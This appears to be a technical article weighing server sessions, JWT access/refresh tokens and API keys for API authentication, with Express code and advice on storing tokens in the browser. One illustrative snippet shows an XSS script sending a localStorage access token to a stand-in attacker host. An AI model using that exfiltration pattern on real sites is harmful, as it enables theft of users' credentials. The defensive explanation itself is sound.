Every new API project runs into the same question: sessions, JWT, or API keys? The generic answer "JWT because it's stateless and scales better" gets repeated everywhere, but it skips the real tradeoff: every mechanism moves complexity somewhere else, most often onto revocation. Before picking one, it helps to understand exactly what each approach guarantees and what it makes harder.
The concrete problem
Picture an API consumed by three kinds of clients: a React SPA, a Flutter mobile app, and third-party integrations (webhooks, server-to-server scripts). Each has different constraints: the SPA runs in a browser exposed to XSS, the mobile app can hold onto secrets a bit more safely, and third-party integrations have no human user behind them at all. Applying the same authentication mechanism everywhere is often the mistake that gets baked in from day one.
Server sessions: simple and revocable, but stateful
A classic session relies on an opaque identifier stored client-side (a cookie) and matching state stored server-side (in memory, Redis, or a database).
// Express + express-session + connect-redis
import session from "express-session";
import RedisStore from "connect-redis";
import { createClient } from "redis";
const redisClient = createClient({ url: process.env.REDIS_URL });
await redisClient.connect();
app.use(
session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true,
secure: true,
sameSite: "lax",
maxAge: 1000 * 60 * 60 * 2, // 2h
},
})
);
The decisive advantage: revoking a session means deleting a row in Redis. A password change, a compromised account, a forced logout from an admin panel - all of that becomes trivial. The cost is server-side state. Every request has to hit the session store, which adds a network dependency and complicates horizontal scaling unless you centralize that store properly.
httpOnly + SameSite cookies protect well against XSS (client JS can't read the cookie) and basic CSRF, but this mechanism assumes the client and the API share a compatible domain or subdomain, which becomes awkward once you add a native mobile client or clients living on entirely different domains.
JWT: stateless, but revocation becomes the real topic
A JWT encodes the user's information (claims) directly in the token, cryptographically signed. The server has nothing to store: it just verifies the signature.
import jwt from "jsonwebtoken";
function issueAccessToken(user) {
return jwt.sign(
{ sub: user.id, role: user.role },
process.env.JWT_SECRET,
{ expiresIn: "15m", algorithm: "HS256" }
);
}
function verifyAccessToken(token) {
// Throws if expired or signature invalid
return jwt.verify(token, process.env.JWT_SECRET);
}
The classic trap: a developer gives the JWT a seven-day lifetime "so users don't have to log in too often." The problem is that a valid JWT stays valid until it expires, even if the account gets disabled in the meantime, because the server consults no database when verifying it - that's exactly what makes it stateless and fast. The standard fix is the access token / refresh token pair:
- Access token: very short-lived (5 to 15 minutes), sent in the
Authorizationheader, never stored in a long-lived cookie. - Refresh token: longer-lived, stored server-side (or in an
httpOnlycookie) with a revocation table. A revoked refresh token blocks new access tokens, so a compromise is bounded by the lifetime of the current access token.
// Table refresh_tokens(id, user_id, token_hash, revoked_at, expires_at)
async function rotateRefreshToken(oldTokenId) {
const stored = await db.refreshTokens.findById(oldTokenId);
if (!stored || stored.revokedAt || stored.expiresAt < new Date()) {
throw new UnauthorizedError("invalid refresh token");
}
await db.refreshTokens.revoke(oldTokenId); // single-use rotation
const newToken = generateSecureToken();
await db.refreshTokens.create({ userId: stored.userId, tokenHash: hash(newToken) });
return newToken;
}
This single-use rotation lets you detect refresh token theft: if an already-revoked token shows up again, that's a sign it was replayed by an attacker, and you can invalidate the user's whole token chain in response.
API keys: for machines, not for humans
An API key is a static, typically long and opaque secret tied to an account or application, with no session concept and no short expiration.
// Checking an API key sent in an `X-API-Key` header
app.use(async (req, res, next) => {
const apiKey = req.header("X-API-Key");
if (!apiKey) return res.status(401).json({ error: "missing_api_key" });
const keyRecord = await db.apiKeys.findByHash(hashApiKey(apiKey));
if (!keyRecord || keyRecord.revokedAt) {
return res.status(401).json({ error: "invalid_api_key" });
}
req.client = { id: keyRecord.clientId, scopes: keyRecord.scopes };
next();
});
API keys aren't meant to represent a user with an interactive session: they identify an application or a service. They should always be scoped (which resources, which actions) and stored hashed server-side, never in plaintext, the same way you'd treat a password. The common mistake is using them to authenticate end users in an SPA: the key then ends up exposed in the JS bundle, or in the decompiled code of a mobile app.
Where to store the JWT client-side: localStorage vs cookies
Once you've settled on JWT, a second decision, often treated as an afterthought, determines the actual attack surface: where to store the access token in the browser. Two options compete, with opposite tradeoffs.
Storing the token in localStorage is simple to implement and avoids any CSRF concern (the token is attached manually to each request, not sent automatically by the browser). But localStorage is readable by any JavaScript running on the page, including a script injected through an XSS flaw or a compromised npm dependency. A single XSS injection point is enough to exfiltrate every active token.
// Common pattern, but risky if the site has even one XSS flaw
localStorage.setItem("access_token", token);
// A malicious script injected via XSS can do the exact same read
fetch("https://attacker.example.com/collect", {
method: "POST",
body: localStorage.getItem("access_token"),
});
Conversely, storing the refresh token in an httpOnly + Secure + SameSite=strict cookie makes it invisible to JavaScript (so it's immune to direct XSS exfiltration), but reintroduces a CSRF surface that needs covering with a separate anti-CSRF token or by checking the Origin/Referer header on sensitive routes.
res.cookie("refresh_token", token, {
httpOnly: true,
secure: true,
sameSite: "strict",
path: "/api/auth/refresh",
});
The most robust compromise for a modern SPA is keeping the access token in JavaScript memory only (never persisted, lost on page reload, which forces a refresh call on app startup), and keeping the refresh token exclusively in an httpOnly cookie. That limits the XSS exploitation window to the access token's very short lifetime, without sacrificing protection against refresh token theft.
Diagnosing the wrong choice
The symptoms of a mismatched mechanism are fairly recognizable:
- Can't log out a compromised user without waiting for natural token expiration: a sign that long-lived JWTs are in use without refresh tokens or a revocation list.
- Horizontal scaling is painful, sessions "disappear" when a new instance deploys: a sign of in-memory sessions without a shared store.
- An API key shows up in browser DevTools or inside a decompiled mobile APK: a sign that a mechanism meant for server-to-server use got repurposed for a public client.
When the "easy" fix isn't enough
For a multi-tenant API with compliance requirements (GDPR, SOC2), a plain access/refresh pair is often not enough: you also need to log every token issuance (device, IP, user agent) so a user can see and revoke their active sessions individually - a pattern close to what GitHub or Google expose in their security settings. That requires a proper token audit table, not just a revocation flag.
For high-stakes B2B integrations, static API keys can be replaced with the OAuth2 client credentials flow, which adds automatic expiration for machine-to-machine access tokens without a static secret sent on every call.
Takeaway
This isn't a binary choice: the same API can legitimately combine sessions for the web front end, JWT access/refresh for mobile, and scoped API keys for third-party integrations. The deciding factor isn't "stateless versus stateful" but "how fast do I need to be able to revoke access, and for which kind of client." Designing revocation before writing the token-issuing code saves you from discovering the gap during a live security incident.
